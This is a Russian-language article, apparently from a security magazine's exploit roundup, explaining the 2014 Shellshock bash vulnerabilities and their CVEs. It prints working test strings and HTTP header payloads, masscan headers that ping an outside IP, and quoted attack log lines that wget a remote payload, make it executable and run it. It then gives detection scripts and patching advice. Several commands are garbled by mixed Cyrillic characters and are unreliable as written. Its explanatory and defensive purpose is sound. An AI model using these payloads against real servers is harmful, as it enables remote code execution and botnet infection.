Новость из категории: Информация

Нашумевший Shellshock

Содержание:
1. SQL-инъекции в Wordpress-плагине;
2. Переполнение буфера в Teamspeak Client v3.0.14;
3. Нашумевший Shellshock (Вы читаете данный раздел).
CVSSv2: 10.0 (Av:R/Ac:L/A:N/C:C/l:C/A:C)
Дата релиза: 24-29 сентября 2014 года
Автор: Stephane Chazelas, Florian Weimer, Michal Zalewski
CVE: 2014-6271,
CVE: 2014-6277,
CVE: 2014-6278,
CVE: 2014-7169,
CVE: 2014-7186,
CVE: 2014-7187

Нашумевший Shellshock

Ну и конечно, мы не могли обойти стороной нашумевшую уязвимость в bash, которая получила свое собственное имя наравне с Heartbleed, — ShellShock. Более того, под этим названием скрывается, по сути, не одна уязвимость, но начнем с начала.

Первую уязвимость из серии обнаружил Стефан Шазела (Skphane Chazelas) 12 сентября 2014 года, и он предлагал назвать ее bashdoor, но, увы, не прижилось. Суть уязвимости в том, что интерпретатор позволяет задать внутри себя переменные среды, которые задают определение функций. А после определения функции функции bash продолжает обрабатывать команды. Вследствие чего мы можем осуществить атаку с внедрением полезного кода. Возьмем стандартную проверку на наличие уязвимости:
$ env х='() {	echo vulnerable' bash -с
"echo this is a test"

С помощью () { мы определяем функцию, а вот echo vulnerable уже полезная команда со своими аргументами. Большая опасность заключалась в том, что можно было атаковать через механизм обращения к CGI-скриптам, которые используются во многих веб-сервисах до сих пор. После выхода патча исследователь @taviso обнаружил способ обхода с использованием файла и записи в него результата выполнения команды.

Помимо этой уязвимости, было найдено еще несколько. Пару из них обнаружил Флориан Ваймер (Florian Weimer) из Red Hat (и не только обнаружил, но и приложил патч). Ошибка заключалась в неправильной обработке различных операций с памятью при разборе выражений. Например, одна ошибка в неправильной обработке символа EOF приводит к падению процесса из-за его много-кратного повторения:
$ bash -с ’true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF’
bash: line 2: warning: here-document at line 2 delimited by end-of-file (wanted 'EOF')
...
(wanted 'EOF')
bash: line 2: warning: here-document at line 2 delimited by end-of-file (wanted EOF')
bash: line 2: make_here_document: bad instruction type 33 Segmentation fault (core dumped)

Другая ошибка заключается в многократном повторении done.

Теперь перейдем к последним (я надеюсь) уязвимостям из этой серии от Михала Залевского (Michat Zalewski). Уточню, что они также не работают после установки патча от Флориана Ваймера и работают не на всех старых версиях интерпретатора.

Первая связана с повреждением памяти, то есть мы передаем строку большую, чем у нас выделено памяти:
НТТР_С00КIЕ="() { х() { }j х() {	} <<'perl -е ’{print
"A"xl000}"j }" bash -с :
bash[25662]: segfault at 41414141 ip 00190d96 sp bfbe6354 error 4 in libc-2.12.so[110000+191000]

Вторую же назвали приветом из девяностых: по сути, мы просто вставляем любые команды, как есть. Ей подвержены версии bash 4.2 или 4.3:
$(){_;} >_[$($())] { echo hi mom; id; }

Последние две уязвимости можно найти с помощью утилиты для фаззинга american fuzzy lop (bit.lv/1q5nVY) от автора. А теперь перейдем к более практичным вещам — эксплойтам и примерам атаки.

EXPLOIT
Начнем с уязвимости CVE-2014-6271. Пример ответа на уязвимой машине с помощью команды, которую мы рассмотрели выше:
$ env х='() {	echo vulnerable' bash -с "echo this is a test"
vulnerable
this is a test


Нашумевший Shellshock
Уязвимый терминал с Shellshock в OS X

После патча вывод в терминале был уже другой:
$ env х='() { :;}; echo vulnerable' bash -с "echo this is a test"
bash: warning: x: ignoring function definition attempt bash: error importing function definition for 'x' this is a test

Но, увы, чуть позже появления патча был найден способ его обхода, и системы снова были подвержены уязвимостям. Изначально пример новой проверки выглядел так:
$ env Х='() { (а)=>' sh -с "echo date"; cat echo

После проверки обновленной системы он не сработал, и я было обрадовался, но потом поменял sh на bash и в результате наш эксплойт успешно вывел текущую дату. Пример успешного запуска ты можешь увидеть на скриншоте:

Нашумевший Shellshock
Пример запуска команды на обновленной системе Linux Mint после первого патча

Теперь уже этому обходу был присвоен новый номер — CVE-2014-7169. Далее уязвимости с многократными повторениями символа EOF и слова done. CVE-2014-7186:
$ bash -с 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF
<<EOF <<EOF <<EOF <<EOF <<EOF' ||
echo "CVE-2014-7186 vulnerable, redir_stack"
CVE-2014-7187:
$ (for x in {1..200} ; do echo "for x$x in ; do done; for x in
{1..200} ; do echo done ; done) | bash || echo "CVE-2014-7187 vulnerable,
word_lineno"

Эксплойты для найденных уязвимостей от Михала Залевского. CVE-2014-6277:
$() { х() { _; }; х() { _; } <<а; }
CVE-2014-6278:
НТТР_СOOКIЕ='() { > >_[$($( ))]
{ echo hi mom; id; }' bash -c :
ИЛИ
GET /some/script.cgi HTTP/1.0
User-Agent: () { _; } >_[$($())] { id >/tmp/hi_mom; }

Ниже мы рассмотрим примеры атаки с использованием первых ShellShock-уязвимостей, но никто не мешает во все эти утилиты добавить проверку на все уязвимости.

Хакер Роберт Грэхем (Robert Graham) решил проверить наличие уязвимых серверов в интернете. В качестве средства для исследования была выбрана программа masscan (bit.ly/1sZZUK1) с открытым исходным кодом. Исследователь лишь внес небольшие изменения в код, добавив свою полезную нагрузку в запросы:
http-header[Cookie] = () { :; }; ping -с 3 209.126.230.74		
http-header[Host] = () { :; }; ping -с 3 209.126.230.74
http-header[Referer] = () { :; }; ping -c 209.126.230.74

Если сервер уязвим, то он отправит нам три пакета-пинга.

Нашумевший Shellshock
Список серверов, уязвимых к Shellshock и ответивших на команду пинг

Рассмотрим пример более опасной атаки. Скачиваем исполняемый файл и запускаем.
192.168.1.1 - - [25/Sep/2014:14:00:00 +0000] "GET / НТТР/1.0" 400 349 "() { 
wget -0 /tmp/besh http://192.168.1.1/filename;chmod777/tmp/besh;/tmp/besh;"

Представители темной стороны тоже не стали сидеть на месте и быстро начали использовать эту уязвимость в своих целях. Например, один из вирусов, найденный аналитиками из Касперского, — Backdoor. Linux.Gafgyt.

На скриншоте приведен пример обмена командами между ботом и управляющим центром. Бот периодически сообщает, что жив. Далее хозяин запускает (или запускается автоматически) сканер рандомных IP-адресов для размножения, и иногда дается команда UDP-флуд определенных адресов. Помимо него, в «дикой природе» еще встречается Perl-бот. Пример атаки:
UserAgent: () {	/bin/bash -с "wget -О /var/
tmp/ec.z 74.YYY.YYY.YY/ec.zjchmod +х /var/tmp/ес.zj/
var/tmp/ec.z;rm -rf /var/tmp/ес.z*"

Нашумевший Shellshock
Пример атаки вируса из логов веб-сервера

Нашумевший Shellshock
Обмен командами между командным центром и ботом, использующим уязвимость shellshock

Внутри архива Perl-скрипт, обфусцированный с помощью Base64. Он легко расшифровывается, поэтому полный исходный код бота (bit.ly/1s516JX) был выложен на GitHub. Он может использоваться для сканирования, ддоса, спама и прочего.

Примеров атаки, использующей эту уязвимость, появляется все больше. Приведу лишь некоторые из них:
• Python-скрипт, отправляющий письма на уязвимый сервер с запущенным SMTP (bit.ly/1s29IX4) и атаками в заголовках;
• Python-скрипт для атаки на модуль mod_cgi сервера Apache (bit.ly/1s45nOT);
• пример атаки на OpenVPN-сервер (bit.ly/1vl52zp);
• MetasDloit-модуль (bit.ly/1utzTS3);
• видео с примером атаки с использованием утилиты Burp Suite (bit.ly/1vlbE0D);
• обновляемый список атак/эксплойтов (bit.ly/1voCDiG).

TARGETS
Все, что использует bash (например, подвержены атакам DHCP-клиенты, CGI-скрипты и ssh-аккаунты для Git/Subversion, OpenVPN, Exim, qmail, procmail, Mailfilter, SER, Phusion Passenger, Radius-серверов и служб Inetd). Также становятся уязвимы различные Perl-скрипты, о чем написано в небольшой статье (bit.ly/1vlDSOO).

Проверить, уязвима ли система для некоторых уязвимостей из списка, можно с помощью небольшого скрипта:
bash -с "true $(printf 'c/dev/null 
if [ $?_!= 0 ]; then
echo -e "Vulnerable to CVE-2014-7186"
fi
bash -c "'for i in {1..200}; do echo -n "for x$i in; do done; for i in
{1..200}; do echo -n "done;"jdone'" 2>/dev/null if [ $? != 0 ]; then
echo -e "Vulnerable to CVE-2014-7187"
fi

Или воспользоваться комплексным скриптом bashcheck (bit.ly/1uttTbY), который проверяет по всему списку.

SOLUTION
Есть исправление от производителя. Но этой уязвимости подвержены многие устройства за последние 25 лет, и далеко не все из них поддерживаются, или вообще компании-производители уже не существуют очень давно. Но можно попытаться пропатчить вручную с помощью фреймворка radare2 (bit.ly/1uW5nS3).



Разработали передовую защиту от хаккинга и хотите вывести ее в массы? Тогда рекомендую Вам прямо сейчас обратиться за помощью в http://www.autopack.ru (http://www.autopack.ru). Опытные рекламщики смогут в самые сжатые сроки познакомить с вашим программным продуктом тысячи потенциальных клиентов!

Рейтинг статьи

Оценка
0/5
голосов: 0
Ваша оценка статье по пятибальной шкале:
 
 
   

Поделиться

Похожие новости

Комментарии

^ Наверх